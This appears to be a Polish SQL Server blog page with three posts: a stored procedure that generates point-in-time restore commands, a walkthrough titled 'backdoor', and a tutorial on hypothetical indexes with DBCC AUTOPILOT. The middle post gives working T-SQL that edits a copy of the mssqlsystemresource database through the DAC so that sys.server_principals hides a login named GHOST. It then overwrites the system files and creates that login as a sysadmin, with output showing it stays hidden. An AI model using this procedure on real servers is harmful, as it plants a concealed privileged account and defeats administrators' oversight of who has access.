restore plan

Wszyscy są zgodni, że robienie backupu bazy i logów jest bardzo ważnym zadaniem administratora baz danych, jeżeli chodzi o backup logu powinien on być robiony jak najczęściej bo wtedy możemy zminimalizować straty w przypadku awarii.

Czasami słyszę opinie, że ktoś nie robi backupu logu częściej niż co godzinę bo by miał potem problem z odtworzeniem ciągłości backupu.

Przy odtwarzaniu bazy po awarii pomocna może się okazać procedura.

CREATE PROCEDURE rk_restore_plan

                              @db_name SYSNAME

                             ,@restore_to_datetime  DATETIME --= GETDATE()

AS

/*

rk_restore_plan 'test','2011-02-16 13:47'

*/

SET NOCOUNT ON

DECLARE @server_name NVARCHAR(512)

DECLARE @first_full_backupset_id INTEGER

DECLARE @first_full_backup_startdate DATETIME

DECLARE @print TABLE(id INT IDENTITY(1,1) PRIMARY KEY, tekst   VARCHAR(255)) 

           

CREATE TABLE #plan(backup_set_id INTEGER NOT NULL,type CHAR(1),stopat_time DATETIME ,used BIT)

SET @server_name = @@SERVERNAME

SELECT @first_full_backupset_id = backupset_outer.backup_set_id

      ,@first_full_backup_startdate = backupset_outer.backup_start_date

  FROM msdb.dbo.backupset backupset_outer

 WHERE backupset_outer.database_name = @db_name

   AND backupset_outer.server_name = @server_name

   AND backupset_outer.type = 'D'   

   AND backupset_outer.backup_start_date =

(  SELECT MAX(backupset_inner.backup_start_date)

   FROM msdb.dbo.backupset backupset_inner

   WHERE backupset_inner.database_name = backupset_outer.database_name

      AND backupset_inner.server_name = @server_name

    AND backupset_inner.type = backupset_outer.type

    AND backupset_inner.backup_start_date <= @restore_to_datetime

    AND backupset_inner.is_copy_only = 0 )

   AND backupset_outer.is_copy_only = 0

INSERT #plan

SELECT backup_set_id,type,backup_finish_date,1         

  FROM msdb.dbo.backupset

WHERE msdb.dbo.backupset.backup_set_id = @first_full_backupset_id

  AND msdb.dbo.backupset.server_name = @server_name

INSERT #plan

SELECT backup_set_id,type,backup_finish_date,1                        

  FROM msdb.dbo.backupset

 WHERE msdb.dbo.backupset.database_name = @db_name

   AND msdb.dbo.backupset.server_name = @server_name

   AND msdb.dbo.backupset.type IN ('I', 'L') 

   AND msdb.dbo.backupset.backup_start_date >= @first_full_backup_startdate

  

UPDATE #plan

  SET used =0

WHERE stopat_time>@restore_to_datetime

UPDATE #plan

  SET used =1

WHERE type ='L'

  AND backup_set_id IN(SELECT TOP (1) backup_set_id FROM #plan

                                    WHERE used =0

                                   ORDER BY backup_set_id)

INSERT @print

SELECT

'RESTORE '+ CASE BS.type WHEN  'D' THEN 'DATABASE '

                                  WHEN  'I' THEN 'DATABASE '

                                    WHEN  'L' THEN 'LOG '

                                    ELSE 'ERROR' END

+QUOTENAME(BS.database_name) + ' FROM  DISK = N'''

+MF.physical_device_name +''' WITH FILE = '+CAST (BS.position AS VARCHAR(5))

+' , NORECOVERY, REPLACE, STATS = 10'

+ CASE WHEN BST.stopat_time >@restore_to_datetime THEN ', STOPAT = N'''+CONVERT(VARCHAR(20),@restore_to_datetime,126)+'''' ELSE '' END

FROM msdb..backupset BS

INNER JOIN #plan BST

ON BS.backup_set_id = BST.backup_set_id

INNER JOIN msdb..backupmediafamily MF

on BS.media_set_id=MF.media_set_id

WHERE used =1

ORDER BY BST.backup_set_id

INSERT @print

SELECT  'RESTORE DATABASE '+QUOTENAME(@db_name) + ' WITH RECOVERY'

SELECT tekst FROM @print

ORDER BY id

Zwraca ona wszystkie kopie które trzeba odtworzyć żeby przywrócić bazę do konkretnego punktu w czasie.

Dla bezpieczeństwa nie są uruchamiane skrypty a tylko zwracane polecenia do wykonania.

Skrypt zakłada, że baza jest odtwarzana w te samo miejsce na dyskach, obsługuje

• backup full
• backup differential
• backup log
• backup copy_only
• backupy do pliku i devices
• backupy dopisujące i nadpisujące media set

backdoor

Dodanie bazy mssqlsystemresource do SQL 2005 zwiększyło bezpieczeństwo kodu systemowego, trzeba się trochę pobawić żeby go zmienic.

Dobrym przykładem możliwości zmiany kodu jest widok sys.server_principals, który jest używany praktycznie przy wszystkich prezentowaniach informacji o loginach serwera.

Sam Microsoft uczy nas, ukrywając przed nami bazę mssqlsystemresource używając w widokach filtra WHERE d.id < 0x7fff, że można robić to z powodzeniem. Dodając do widoku dodatkowy filtr na nasz login mamy backdoora.

Wchodzimy do folderu z bazami systemowymi i kopiujemy pliki bazy mssqlsystemresource, dodatkową ciekawostką jest to, że możemy zrobić to przy pracującej bazie ponieważ serwer nie blokuje plików zakładając, że są one tylko do odczytu, wklejamy pliki w innej lokalizacji i podpinamy je pod inną nazwą

USE [master]

GO

CREATE DATABASE [RK_mssqlsystemresource] ON

( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.mdf' ),

( FILENAME = N'D:\mssqlserver\MSSQL.1\MSSQL\mssqlsystemresource.ldf' )

 FOR ATTACH

GO

Logujemy się na serwer przy pomocy DAC i przełączamy bazę w tryb edycji

sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'false'          

Przechodzimy do naszej nowej bazy

USE RK_mssqlsystemresource

Zmieniamy widok

CREATE VIEW sys.server_principals AS

      SELECT p.name,

            p.id AS principal_id,

            p.sid, p.type,

            n.name AS type_desc,

            is_disabled = sysconv(bit, p.status & 0x80),

            p.crdate AS create_date,

            p.modate AS modify_date,

            p.dbname AS default_database_name,

            p.lang AS default_language_name,

            r.indepid AS credential_id

      FROM master.sys.sysxlgns p

      LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type

      LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0      -- SRC_LOGIN_CREDENTIAL

      WHERE has_access('LG', p.id) = 1

            AND p.NAME <> 'GHOST'

            AND p.type <> 'M' -- exclude component logins

Msg 195, Level 15, State 10, Procedure server_principals, Line 6

'sysconv' is not a recognized built-in function name.

W systemowych obiektach używane są wewnętrzne funkcje których parser nie widzi, zamieniamy sysconv na convert bo wydaje się że działają identycznie, has_access nie będzie nam potrzebny ;)

ALTER VIEW [sys].[server_principals] AS

      SELECT p.name,

            p.id AS principal_id,

            p.sid, p.type,

            n.name AS type_desc,

            is_disabled = convert(bit, p.status & 0x80),

            p.crdate AS create_date,

            p.modate AS modify_date,

            p.dbname AS default_database_name,

            p.lang AS default_language_name,

            r.indepid AS credential_id

      FROM master.sys.sysxlgns p

      LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type

      LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0      -- SRC_LOGIN_CREDENTIAL

      WHERE --has_access('LG', p.id) = 1

                p.NAME <> 'GHOST'

            AND p.type <> 'M' -- exclude component logins

Poszło, zmieniamy tryb edycji i odpinamy bazę RK_mssqlsystemresource

sp_dboption 'RK_mssqlsystemresource' , 'Read_Only' , 'true'

GO

EXEC master.dbo.sp_detach_db @dbname = N'RK_mssqlsystemresource'

Nadgrywamy pliki na oryginalne pliki bazy mssqlsystemresource i zakładamy ducha.

CREATE LOGIN GHOST WITH PASSWORD=N'bardzo trudne hasło', CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

EXEC master..sp_addsrvrolemember

@loginame = N'GHOST',

@rolename = N'sysadmin'

GO

Sprawdzamy widok

sp_helptext 'sys.server_principals'

CREATE VIEW [sys].[server_principals] AS

       SELECT p.name,

             p.id AS principal_id,

             p.sid, p.type,

             n.name AS type_desc,

             is_disabled = convert(bit, p.status & 0x80),

             p.crdate AS create_date,

             p.modate AS modify_date,

             p.dbname AS default_database_name,

             p.lang AS default_language_name,

             r.indepid AS credential_id

       FROM master.sys.sysxlgns p

       LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type

       LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 -- SRC_LOGIN_CREDENTIAL

       WHERE --has_access('LG', p.id) = 1

                 p.NAME <> 'GHOST'

             AND p.type <> 'M' -- exclude component logins

No to teraz szukamy nasz login

SELECT name FROM sys.syslogins

WHERE name =N'GHOST'

name

---------------------

(0 row(s) affected)

A login jest

SELECT SUSER_SNAME(),USER_NAME(),IS_SRVROLEMEMBER ('sysadmin')

---------------------

GHOST   dbo     1

Pozostanie tam niezauważony prawdopodobnie do czasu wgrywania następnego service pack

indeks hipotetyczny

Tworzenie indeksów na tabelach używanych przez innych  użytkowników jest koszmarem, nawet jeżeli mamy bazę w trybie administracyjny albo używamy enterprisowego ONLINE to trwa to czasami bardzo długo, dodatkowo nie mamy pewności że serwer użyje właśnie tego indeksu. Podglądając pracę Database  Engine Tubing Advisora możemy zauważyć że przyt zakładaniu testowanych indeksów używa opcji WITH STATISTICS_ONLY = -1, oznacza to, że nie jest tworzony fizyczny indeks tylko statystyki. Robimy sobie tabelę

CREATE TABLE dbo.indeks_test(id INT IDENTITY(1,1) PRIMARY KEY,

      SalesOrderID int ,

      SalesOrderDetailID int ,

      CarrierTrackingNumber nvarchar(25) ,

      OrderQty smallint ,

      ProductID int ,

      SpecialOfferID int ,

      UnitPrice money ,

      UnitPriceDiscount money ,

      LineTotal  money,

      rowguid uniqueidentifier ,

      ModifiedDate datetime )

Napełniamy ją danymi

INSERT dbo.indeks_test

SELECT *  FROM Sales.SalesOrderDetail

Mamy zapytanie do zoptymalizowania

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test

WHERE SalesOrderDetailID BETWEEN 43668 AND 43892

AND SalesOrderID =52200

AND OrderQty =1

ORDER BY ProductID

Tworzymy dwa indeksy hipotetyczne, dla celów pokazowych nie są one idealne

CREATE INDEX ix_test1 ON dbo.indeks_test (SalesOrderDetailID,SalesOrderID)

INCLUDE (OrderQty,UnitPrice) WITH STATISTICS_ONLY = -1

GO

CREATE INDEX ix_test2 ON dbo.indeks_test (SalesOrderDetailID,SalesOrderID,OrderQty)

INCLUDE (UnitPrice,ProductID) WITH STATISTICS_ONLY = -1

Sprawdzamy jak to wygląda

sp_helpindex 'indeks_test'

SELECT name,is_hypothetical FROM sys.indexes

WHERE object_id=OBJECT_ID('indeks_test')

name                             is_hypothetical

-------------------------------- ---------------

PK__indeks_t__3213E83F1FEDB87C   0

ix_test1                         1

ix_test2                         1

Indeksy mają swoje statystyki

DBCC SHOW_STATISTICS ('indeks_test','ix_test1')

DBCC SHOW_STATISTICS ('indeks_test','ix_test2')

Problem zaczyna się jeżeli chcemy ich użyc, w zapytaniu nie zostaną użyte

SET SHOWPLAN_TEXT ON

GO

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test

WHERE SalesOrderDetailID BETWEEN 43668 AND 43892

AND SalesOrderID =52200

AND OrderQty =1

ORDER BY ProductID

GO

SET SHOWPLAN_TEXT OFF

StmtText

----------------------------------------------------------------------------------------------

  |--Sort(ORDER BY:([AdventureWorks].[dbo].[indeks_test].[ProductID] ASC))

       |--Clustered Index Scan(OBJECT:([AdventureWorks].[dbo].[indeks_test].[PK__indeks_t__3213E83F1FEDB87C]), WHERE:([AdventureWorks].[dbo].[indeks_test].[SalesOrderDetailID]>=(43668) AND [AdventureWorks].[dbo].[indeks_test].[SalesOrderDetailID]<=(43892)

Nie można też wymusić ich użycia

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test  WITH(index=ix_test1)

WHERE SalesOrderDetailID BETWEEN 43668 AND 43892

AND SalesOrderID =52200

AND OrderQty =1

ORDER BY ProductID

Msg 308, Level 16, State 1, Line 1

Index 'ix_test1' on table 'dbo.indeks_test' (specified in the FROM clause) does not exist.

Żeby uzyc indeksu hipotetycznego musimy zastosowac kombinację DBCC AUTOPILOT i SET AUTOPILOT

select DB_ID(),OBJECT_ID('indeks_test')-- =5,503672842

DBCC AUTOPILOT (0,5,503672842,5,0,0) --dla ix_test1

GO

SET AUTOPILOT ON

GO

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test

WHERE SalesOrderDetailID BETWEEN 43668 AND 43892

AND SalesOrderID =52200

AND OrderQty =1

ORDER BY ProductID

Dostajemy wynik

Teraz drugi indeks

SET AUTOPILOT OFF

GO

DBCC AUTOPILOT (0,5,503672842,6,0,0) --dla ix_test2

GO

SET AUTOPILOT ON

GO

SELECT SalesOrderDetailID,OrderQty,UnitPrice FROM dbo.indeks_test

WHERE SalesOrderDetailID BETWEEN 43668 AND 43892

AND SalesOrderID =52200

AND OrderQty =1

ORDER BY ProductID

Dostajemy wynik

Możemy zobaczyć, że z wybranych indeksów najlepszy jest ix_test2 i to jego wybierze optymalizator.

Brakuje jasnej dokumentacji DBCC AUTOPILOT ale mam wrażenie, że to potężne narzędzie